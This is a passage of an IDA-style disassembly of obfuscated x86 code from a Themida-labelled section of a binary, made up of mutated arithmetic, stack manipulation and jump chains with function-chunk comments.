sub edx, 5F2A76BEh
mov eax, [esp]
jmp loc_596B04
; ---------------------------------------------------------------------------
loc_59D3D9: ; CODE XREF: Themida_:005A0D11j
add ebx, edi
jmp loc_591DC7
; ---------------------------------------------------------------------------
loc_59D3E0: ; CODE XREF: Themida_:005A37DDj
ror dword ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_59D3E9: ; CODE XREF: Themida_:005973E5j
push ebx
push eax
mov ah, dl
mov bh, ah
pop eax
mov dl, [esp+4]
jmp loc_59B01F
; ---------------------------------------------------------------------------
loc_59D3F9: ; CODE XREF: Themida_:00594ECDj
pop ebx
pop dword ptr [esp]
mov esp, [esp]
pop eax
push eax
mov ah, 12h
push ebx
mov bh, 0Ah
sub bh, 0B1h
or ah, bh
pop ebx
jmp loc_5977D2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D412: ; CODE XREF: sub_59390B+5B2Fj
pop esp
mov [edx], al
pop edx
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D41B: ; CODE XREF: Themida_:00599D3Dj
add edx, 4
xchg edx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
push edx
push esp
mov edx, [esp]
add esp, 4
push eax
push ebx
push 65CB1342h
pop ebx
sub ebx, 67BA4A27h
add ebx, 1A554B95h
sub ebx, 186614ACh
mov eax, ebx
pop ebx
add edx, 463D0EFDh
add edx, eax
sub edx, 463D0EFDh
pop eax
push eax
mov eax, 4
add edx, eax
mov eax, [esp]
jmp loc_594154
; ---------------------------------------------------------------------------
loc_59D46F: ; CODE XREF: Themida_:0059A21Cj
pop esp
mov cx, [esp]
jmp loc_5957BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59731A
loc_59D479: ; CODE XREF: sub_59731A+D335j
pop eax
sub esi, edi
pop edi
add esi, eax
add esi, 3D5F5AB1h
mov eax, [esp+0]
push ecx
mov ecx, esp
jmp loc_5A5685
; END OF FUNCTION CHUNK FOR sub_59731A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D490: ; CODE XREF: sub_59390B+4BF4j
add edx, 4
add edx, 4
jmp loc_5953AF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D49E: ; CODE XREF: Themida_:00592C44j
push dword ptr [esp]
jmp loc_5A2124
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59D4A6: ; CODE XREF: sub_59A431-6BD3j
mov ebp, 4
add esi, ebp
mov ebp, [esp+10h+var_10]
push ecx
jmp loc_59FC24
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_59D4B6: ; CODE XREF: sub_59333E+DD19j
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
add ebp, ecx
jmp loc_59D9F0
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_59D4CB: ; CODE XREF: sub_599AE1-4B9Fj
pop ebx
add [esp-4+arg_4], eax
mov eax, [esp-4+arg_0]
add esp, 4
mov ebx, [esp-8+arg_4]
add esp, 4
push ebp
mov ebp, 7B0E7B04h
sub ebx, 1B5783Ah
jmp loc_5A3DBA
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_59D4ED: ; CODE XREF: sub_59FD45-E598j
push edi
push esp
pop edi
jmp sub_59FA27
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590AC5
loc_59D4F5: ; CODE XREF: sub_590AC5+Aj
push [esp-4+arg_0]
jmp loc_59FAC8
; END OF FUNCTION CHUNK FOR sub_590AC5
; ---------------------------------------------------------------------------
loc_59D4FD: ; CODE XREF: Themida_:0059DE0Bj
sub dl, 0ADh
add bl, dl
mov edx, [esp]
add esp, 4
add al, bl
pop ebx
sub al, 0B4h
jmp loc_5A1CDD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59D512: ; CODE XREF: sub_59CFD4-73EDj
add ebx, 4
xor ebx, [esp+10h+var_10]
jmp loc_59D757
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D51D: ; CODE XREF: sub_59390B+11B1Ej
add eax, 4
add eax, 4
xor eax, [esp-14h+arg_C]
xor [esp-14h+arg_C], eax
xor eax, [esp-14h+arg_C]
jmp loc_5A2524
; ---------------------------------------------------------------------------
loc_59D535: ; CODE XREF: sub_59390B-15E4j
pop cx
jmp loc_59FFCE
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_59D53C: ; CODE XREF: sub_5995FC-4AB7j
mov dl, 43h
jmp loc_5A0FD4
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
loc_59D543: ; CODE XREF: Themida_:0059DE55j
xor ebp, ebx
jmp loc_5955D5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59822A
loc_59D54A: ; CODE XREF: sub_59822A+54j
sub eax, ebx
mov ebx, [esp+8+var_8]
add esp, 4
sub eax, 70B9668Bh
add eax, edx
jmp loc_59AAEC
; END OF FUNCTION CHUNK FOR sub_59822A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599AE1
loc_59D55E: ; CODE XREF: sub_599AE1-562Ej
neg ebx
shl ebx, 6
xor ebx, 72840B27h
xor eax, ebx
pop ebx
push edx
push 70CBh
mov [esp+10h+var_10], edi
mov edi, 2544BFFh
mov edx, 6B95D933h
add edx, edi
jmp loc_5A2BC6
; END OF FUNCTION CHUNK FOR sub_599AE1
; ---------------------------------------------------------------------------
loc_59D586: ; CODE XREF: Themida_:0059FB46j
push ecx
mov ecx, 7762429Bh
jmp loc_59C3C6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_599F46
loc_59D591: ; CODE XREF: sub_599F46+11j
add ebp, 4
push ebp
jmp loc_5A121E
; END OF FUNCTION CHUNK FOR sub_599F46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_59D59D: ; CODE XREF: sub_59F53F-3C4Bj
sub edi, eax
push ecx
jmp sub_59A905
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D5A5: ; CODE XREF: sub_59390B+108D4j
mov [esp-1Ch+arg_14], ebx
mov ebx, esp
push 1761h
mov [esp-18h+arg_10], edx
mov edx, 4
push edi
jmp loc_59B9B4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D5BD: ; CODE XREF: Themida_:0059FC1Fj
mov dx, [esp]
jmp loc_5A4D5E
; ---------------------------------------------------------------------------
loc_59D5C6: ; CODE XREF: Themida_:0059BCC3j
mov ebx, 58C06BCh
shr ebx, 1
shr ebx, 8
push ecx
mov ecx, 0
sub ecx, ebx
push ebx
push ecx
jmp loc_5A048C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_59D5DF: ; CODE XREF: sub_595BAD+2F38j
sub edi, eax
pop eax
push edx
mov edx, 2AB14F3Eh
inc edx
jmp loc_5A2B6F
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D5EE: ; CODE XREF: sub_59390B+E34Fj
inc ecx
xchg eax, ecx
xchg eax, edi
not edi
xchg eax, edi
xchg eax, ecx
xchg eax, ecx
not eax
push ecx
push eax
pop ecx
pop eax
push 608Dh
mov [esp-10h+arg_8], ecx
not [esp-10h+arg_8]
mov ecx, [esp-10h+arg_8]
push edi
jmp loc_5943A1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D610: ; CODE XREF: Themida_:00594B07j
mov edx, 2A7E4F6Bh
neg edx
jmp loc_5A1F0F
; ---------------------------------------------------------------------------
loc_59D61C: ; CODE XREF: Themida_:0059BDCEj
add edi, ebx
pop ebx
xor edi, 4BDA9942h
jmp loc_59A45F
; ---------------------------------------------------------------------------
loc_59D62A: ; CODE XREF: Themida_:005A4F22j
pop edx
or dl, bl
pop ebx
jmp loc_5920D5
; ---------------------------------------------------------------------------
loc_59D633: ; CODE XREF: Themida_:0059853Fj
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push edx
push 0E7B3228h
pop edx
sub ebx, 3697804h
add ebx, edx
add ebx, 3697804h
mov edx, [esp]
push ecx
jmp loc_59D8B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D664: ; CODE XREF: sub_59390B+C73Ej
mov [esp-0Ch+arg_4], ebp
push esp
pop ebp
jmp loc_5990A8
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D66E: ; CODE XREF: Themida_:00592CF7j
mov ebp, 0C81931DEh
push ebx
jmp loc_59E28F
; ---------------------------------------------------------------------------
loc_59D679: ; CODE XREF: Themida_:0059CF81j
mov ecx, 77D22F81h
sub ebp, ecx
jmp loc_59BECA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D685: ; CODE XREF: sub_59390B+4055j
mov [esp+14h+var_14], esp
add [esp+14h+var_14], 4
jmp loc_5A2640
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59D694: ; CODE XREF: sub_59A431+7A4j
add eax, 4
push ebx
mov ebx, 4
jmp loc_5A0D78
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D6A4: ; CODE XREF: sub_59390B+91A9j
mov eax, 22661EEEh
push ecx
jmp loc_597064
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D6AF: ; CODE XREF: Themida_:00593228j
add esp, 4
jmp loc_5A1F38
; ---------------------------------------------------------------------------
loc_59D6BA: ; CODE XREF: Themida_:00595A6Dj
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59E918
loc_59D6BF: ; CODE XREF: sub_59E918-4741j
pop ax
add bl, al
sub esp, 4
mov [esp+0Ah+var_C+2], edx
push ecx
push edx
mov dl, 0A2h
and dl, 0D5h
or dl, 42h
jmp loc_594B0C
; END OF FUNCTION CHUNK FOR sub_59E918
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59D6D8: ; CODE XREF: sub_59CFD4-C4B4j
mov ecx, 4
add ebp, ecx
jmp loc_5A04AA
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D6E4: ; CODE XREF: sub_59390B+9EE6j
mov [esp-10h+arg_8], esi
mov esi, esp
push 7B27h
mov [esp-0Ch+arg_4], ebx
push 427C4813h
pop ebx
or ebx, 79AB56C3h
shl ebx, 8
or ebx, 55395593h
push esi
mov esi, 7C036BE2h
sub esi, 6689F53Eh
add ebx, esi
pop esi
add ebx, 0EB06B1CDh
jmp loc_59B39C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59D720: ; CODE XREF: sub_591FC5+BA80j
mov [esp+6+var_8+2], ecx
push edx
mov dh, 79h
mov cl, 42h
jmp loc_592196
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592CFC
loc_59D72D: ; CODE XREF: sub_592CFC+52E0j
sub dh, bh
mov ebx, [esp+4+var_4]
add esp, 4
sub al, 0F7h
sub al, dh
add al, 0F7h
pop edx
sub al, cl
add al, 0ACh
jmp loc_59416C
; END OF FUNCTION CHUNK FOR sub_592CFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D745: ; CODE XREF: sub_59390B+E8C3j
xor edi, [esp-0Ch+arg_4]
xor [esp-0Ch+arg_4], edi
xor edi, [esp-0Ch+arg_4]
pop esp
push [esp-10h+arg_8]
jmp loc_5A3E07
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59D757: ; CODE XREF: sub_59CFD4+544j
xor [esp+10h+var_10], ebx
jmp loc_5A359C
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_59D75F: ; CODE XREF: Themida_:005950FCj
pop dword ptr [esp]
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push 766Dh
mov [esp], ebp
push 2521h
jmp loc_59E872
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59338E
loc_59D784: ; CODE XREF: sub_59338E+122F2j
or esi, 72A616E9h
push ebx
mov ebx, 46155F78h
add ebx, 0FFA9A172h
xor esi, ebx
pop ebx
sub edx, esi
pop esi
add edx, ebp
push esi
mov esi, 517B25B4h
xor esi, 632213A7h
add edx, esi
jmp loc_5958BB
; END OF FUNCTION CHUNK FOR sub_59338E
; ---------------------------------------------------------------------------
mov cx, [esp]
push 4D8Ch
mov [esp], eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
pop eax
sub esp, 4
jmp loc_5A092E
; ---------------------------------------------------------------------------
loc_59D7D6: ; CODE XREF: Themida_:00590AACj
pop eax
push esi
jmp loc_59EE65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D7DD: ; CODE XREF: sub_59390B+F371j
add edx, 76AE3F0Bh
sub edx, ebp
sub edx, 76AE3F0Bh
pop ebp
pop ecx
xchg edx, [esp-14h+arg_C]
pop esp
jmp loc_59D6E4
; ---------------------------------------------------------------------------
loc_59D7F6: ; CODE XREF: sub_59390B+A38Ej
push esi
mov esi, 460509C9h
dec esi
sub esi, 1E36031Bh
or eax, esi
pop esi
shr eax, 7
push 258Ch
jmp loc_594475
; ---------------------------------------------------------------------------
loc_59D813: ; CODE XREF: sub_59390B+6893j
mov di, si
jmp loc_590F8F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59C623
loc_59D81B: ; CODE XREF: sub_59C623+4j
push esp
pop edi
jmp sub_5A0733
; END OF FUNCTION CHUNK FOR sub_59C623
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_59D822: ; CODE XREF: sub_5A51EA-14385j
xchg cl, dh
add dh, 7Ch
dec dh
jmp sub_592CFC
; END OF FUNCTION CHUNK FOR sub_5A51EA
; =============== S U B R O U T I N E =======================================
sub_59D82E proc near ; CODE XREF: sub_596FDC+16j
arg_8 = dword ptr 0Ch
; FUNCTION CHUNK AT 00590F1C SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005976EA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00598C39 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059A4C9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059F830 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A4623 SIZE 0000000F BYTES
push ebx
mov ebx, 21B77574h
and ebx, 6CB95866h
dec ebx
jmp loc_590F1C
sub_59D82E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D840: ; CODE XREF: sub_59390B+A74j
pop ebp
add [esp+1Ah+var_14+2], ebp
mov ebp, [esp+0]
push edx
push esp
pop edx
add edx, 4
jmp loc_597742
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FE1
loc_59D856: ; CODE XREF: sub_591FE1+190Fj
pop eax
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
jmp loc_595CE2
; END OF FUNCTION CHUNK FOR sub_591FE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D865: ; CODE XREF: sub_59390B+1973j
push edi
mov edi, 3D1F3D1Bh
add edi, 13C13732h
sub ecx, edi
jmp loc_59B44A
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_59D878: ; CODE XREF: sub_59CFD4+34E7j
pop esi
add esi, 20A273ACh
pop edi
and ecx, esi
mov esi, [esp+0Ch+var_C]
jmp loc_5954D4
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
loc_59D88A: ; CODE XREF: Themida_:0059D98Aj
add esp, 4
jmp loc_59354C
; ---------------------------------------------------------------------------
loc_59D892: ; CODE XREF: Themida_:005956B1j
sub ebx, 0E16CE663h
jmp loc_5912BB
; ---------------------------------------------------------------------------
loc_59D89D: ; CODE XREF: Themida_:00592F1Fj
xor [esp], ebp
xor ebp, [esp]
jmp loc_5A2974
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_59D8A8: ; CODE XREF: sub_5A23FB-519Bj
add edi, edx
push [esp-8+arg_4]
pop edx
add esp, 4
sub edi, ebx
jmp loc_5A4325
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
loc_59D8B8: ; CODE XREF: Themida_:0059D65Fj
mov ecx, esp
add ecx, 4
push eax
mov eax, 4
jmp loc_591A5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_59D8CB: ; CODE XREF: sub_5936EC+111EFj
sub esi, eax
pop eax
add esi, edx
push eax
jmp loc_59CC03
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
loc_59D8D6: ; CODE XREF: Themida_:005A2BC1j
pop eax
xor edx, ebx
pop ebx
sub edi, edx
pop edx
mov esi, edi
mov edi, [esp]
push eax
mov eax, esp
jmp loc_591B42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_59D8EA: ; CODE XREF: sub_5A0BFE-771Bj
xchg edi, [esp-8+arg_4]
pop esp
push [esp-0Ch+arg_8]
pop edx
push ebx
mov ebx, esp
push ebp
sub esp, 4
mov [esp+0], esi
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_59F8F0
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
loc_59D90A: ; CODE XREF: Themida_:005927ACj
add bh, 67h
dec bh
shr bh, 7
jmp loc_5A1DF6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D917: ; CODE XREF: sub_59390B+1C71j
pop eax
sub edx, 60775E7h
sub edx, esi
add edx, 60775E7h
mov esi, [esp+4+var_4]
jmp loc_59EFAF
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_598762
loc_59D92E: ; CODE XREF: sub_598762+18j
push [esp+8+var_8]
pop ebp
jmp loc_5A021C
; END OF FUNCTION CHUNK FOR sub_598762
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D937: ; CODE XREF: sub_59390B+F4CBj
add edi, 4
xchg edi, [esp+4+var_4]
jmp loc_5A3383
; ---------------------------------------------------------------------------
loc_59D942: ; CODE XREF: sub_59390B+5B2j
add edi, esi
add edi, 331E7588h
sub edi, 328D7068h
mov esi, [esp+4+var_4]
add esp, 4
and eax, edi
pop edi
jmp loc_59DD9F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D961: ; CODE XREF: Themida_:005A599Aj
xor edi, 3B2825BCh
xor eax, edi
jmp loc_59261F
; ---------------------------------------------------------------------------
loc_59D96E: ; CODE XREF: Themida_:005A4F3Dj
pop esp
mov [esp], edx
mov dl, 99h
push eax
mov ah, 0C4h
jmp loc_591B32
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59D97C: ; CODE XREF: sub_59390B-6BBj
add ebp, ecx
jmp loc_592ECD
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59D983: ; CODE XREF: Themida_:0059FA70j
add edx, ecx
pop ecx
push dword ptr [esp]
pop esi
jmp loc_59D88A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595BAD
loc_59D98F: ; CODE XREF: sub_595BAD-CB8j
mov [esp+4+var_4], ebx
sub [esp+4+var_4], 671363C3h
push [esp+4+var_4]
mov eax, [esp+8+var_8]
add esp, 4
jmp sub_59B8C7
; END OF FUNCTION CHUNK FOR sub_595BAD
; ---------------------------------------------------------------------------
loc_59D9AA: ; CODE XREF: Themida_:00599EA4j
shr ebp, 1
or ebp, 0EF2084Bh
shr ebp, 3
dec ebp
push eax
mov eax, 54F111Dh
jmp loc_593F04
; ---------------------------------------------------------------------------
loc_59D9C1: ; CODE XREF: Themida_:0059C35Bj
add ecx, ebp
push edi
mov edi, 56A3058Eh
add ecx, edi
jmp loc_596E4E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5950DF
loc_59D9D0: ; CODE XREF: sub_5950DF+E400j
pop ebx
jmp loc_598163
; END OF FUNCTION CHUNK FOR sub_5950DF
; ---------------------------------------------------------------------------
loc_59D9D6: ; CODE XREF: Themida_:0059E385j
xor ebp, [esp]
jmp loc_5A5880
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_59D9DE: ; CODE XREF: sub_59333E-25A0j
pop esp
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
xor eax, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp sub_59D02F
; ---------------------------------------------------------------------------
loc_59D9F0: ; CODE XREF: sub_59333E+A188j
pop ecx
jmp loc_590D9B
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_59D9F6: ; CODE XREF: sub_59F53F-3A26j
pop [esp-8+arg_4]
jmp loc_5A1E18
; END OF FUNCTION CHUNK FOR sub_59F53F
; =============== S U B R O U T I N E =======================================
sub_59D9FE proc near ; CODE XREF: sub_59390B-1C28j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059BF6C SIZE 00000013 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
mov ebx, 2191250Ch
jmp loc_59BF6C
sub_59D9FE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_59DA0E: ; CODE XREF: sub_591FC5+C0ACj
mov [esp+6+var_8+2], ebx
mov bl, 52h
shr bl, 5
push eax
mov al, 5Dh
add bl, al
pop eax
add ch, 20h
add ch, bl
sub ch, 20h
push [esp+6+var_8+2]
push [esp+0Ah+var_C+2]
pop ebx
add esp, 4
add esp, 4
sub al, ch
pop ecx
sub esp, 4
mov [esp+2+var_4+2], ebx
push 7383h
jmp loc_59D720
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
word_59DA4A dw 0EB68h ; DATA XREF: Themida_:005907F0o
dd 68000062h, 33FBh, 2AB468h, 3C37E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DA5E: ; CODE XREF: sub_59390B+D68Dj
sub edi, 0FFFFFFFFh
push 5709h
mov [esp+8+var_8], edx
mov edx, 51C75F94h
dec edx
jmp loc_5A48EA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59DA77: ; CODE XREF: Themida_:0059EF72j
add edx, ebp
add edx, 38F97ED1h
jmp loc_5A33D4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F8C2
loc_59DA84: ; CODE XREF: sub_59F8C2-13EDj
mov ebp, 39FE1471h
add ebp, 4FC465B1h
sub ebp, edi
sub ebp, 4FC465B1h
pop edi
sub ebx, ebp
pop ebp
xchg ebx, [esp+4+var_4]
mov esp, [esp+4+var_4]
jmp loc_594920
; END OF FUNCTION CHUNK FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59386B
loc_59DAA6: ; CODE XREF: sub_59386B+8144j
push ecx
push esp
pop ecx
add ecx, 4
jmp sub_59A958
; END OF FUNCTION CHUNK FOR sub_59386B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DAB4: ; CODE XREF: sub_59390B+278j
mov [esp-0Ch+arg_4], ecx
push ebp
mov ebp, 298840E1h
shl ebp, 3
dec ebp
push ebx
jmp loc_5A4727
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59DAC7: ; CODE XREF: Themida_:005A09B7j
mov ebx, [esp]
add esp, 4
push edx
push 2E6h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_59D28D
; =============== S U B R O U T I N E =======================================
sub_59DADF proc near ; DATA XREF: Themida_:00590A40o
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp+0], cl
pushf
jmp loc_590A9B
sub_59DADF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0060
loc_59DAEF: ; CODE XREF: sub_5A0060-A8F1j
pop esp
mov [esp-8+arg_4], esp
add [esp-8+arg_4], 4
pop edx
push edi
push ecx
jmp loc_5A119D
; END OF FUNCTION CHUNK FOR sub_5A0060
; ---------------------------------------------------------------------------
loc_59DAFF: ; CODE XREF: Themida_:005A47A9j
add eax, 4
sub eax, 4
jmp loc_596D84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DB0E: ; CODE XREF: sub_59390B+104DAj
pop eax
push cx
jmp loc_5937F4
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59DB16: ; CODE XREF: Themida_:005A0B6Dj
shl esi, 4
push ebp
mov ebp, 17C84AAEh
inc ebp
sub ebp, 59DE303Dh
or ebp, 4DA73D9Eh
shl ebp, 4
xor ebp, 1E8C5223h
sub esi, ebp
pop ebp
add esi, 0FFFFFFFFh
xor esi, 4AB471C2h
mov eax, esi
jmp loc_599A9F
; ---------------------------------------------------------------------------
loc_59DB4B: ; CODE XREF: Themida_:005911B8j
add ebp, 4
push eax
mov eax, 39F47192h
jmp loc_59D26C
; ---------------------------------------------------------------------------
loc_59DB5C: ; CODE XREF: Themida_:005A0858j
pop ecx
sub ebp, 613F4BB6h
neg ebp
push ecx
mov ecx, 2423404h
xor ebp, ecx
jmp loc_5A18F2
; ---------------------------------------------------------------------------
loc_59DB72: ; CODE XREF: Themida_:00598E59j
add edx, 4
xor edx, [esp]
jmp loc_592A1C
; ---------------------------------------------------------------------------
loc_59DB7D: ; CODE XREF: Themida_:00599EE7j
xchg edx, [esp]
pop esp
sub eax, 381647E3h
add eax, esi
add eax, 381647E3h
pop esi
jmp loc_5915AA
; ---------------------------------------------------------------------------
loc_59DB93: ; CODE XREF: Themida_:0059E296j
pop ebx
sub esi, 76C675B0h
sub esi, ebp
add esi, 76C675B0h
jmp loc_598528
; ---------------------------------------------------------------------------
loc_59DBA7: ; CODE XREF: Themida_:00594FCAj
sub ecx, 4
xchg ecx, [esp]
jmp loc_5A2E0D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DBB5: ; CODE XREF: sub_59390B+11532j
mov esi, esp
jmp loc_5A1DAD
; ---------------------------------------------------------------------------
loc_59DBBC: ; CODE XREF: sub_59390B+11125j
xor [esp+0], esi
xor esi, [esp+0]
pop esp
mov [esp-0Ah+arg_0+2], ebx
mov bh, 0BEh
push eax
mov ah, 0CAh
jmp loc_593023
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_59DBD0: ; CODE XREF: Themida_:00593516j
push edx
mov edx, 4
push edi
mov edi, 6392182Fh
shr edi, 5
jmp loc_5998BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_59DBE4: ; CODE XREF: sub_59390B+922Cj
mov ebx, 4
add ebp, ebx
pop ebx
xor ebp, [esp-8+arg_0]
xor [esp-8+arg_0], ebp
xor ebp, [esp-8+arg_0]
mov esp, [esp-8+arg_0]
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_59EACF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_59DC04: ; CODE XREF: sub_59654E+3973j
mov ecx, [esp+4+var_4]
jmp loc_59276C
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A431
loc_59DC0C: ; CODE XREF: sub_59A431+8BCDj
not edx
sub edx, 32A6440Ch
sub ebp, edx
pop edx
and ecx, ebp
push [esp+14h+var_14]
mov ebp, [esp+18h+var_18]
add esp, 4
add esp, 4
shr ecx, 7
jmp loc_59561D
; END OF FUNCTION CHUNK FOR sub_59A431
; ---------------------------------------------------------------------------
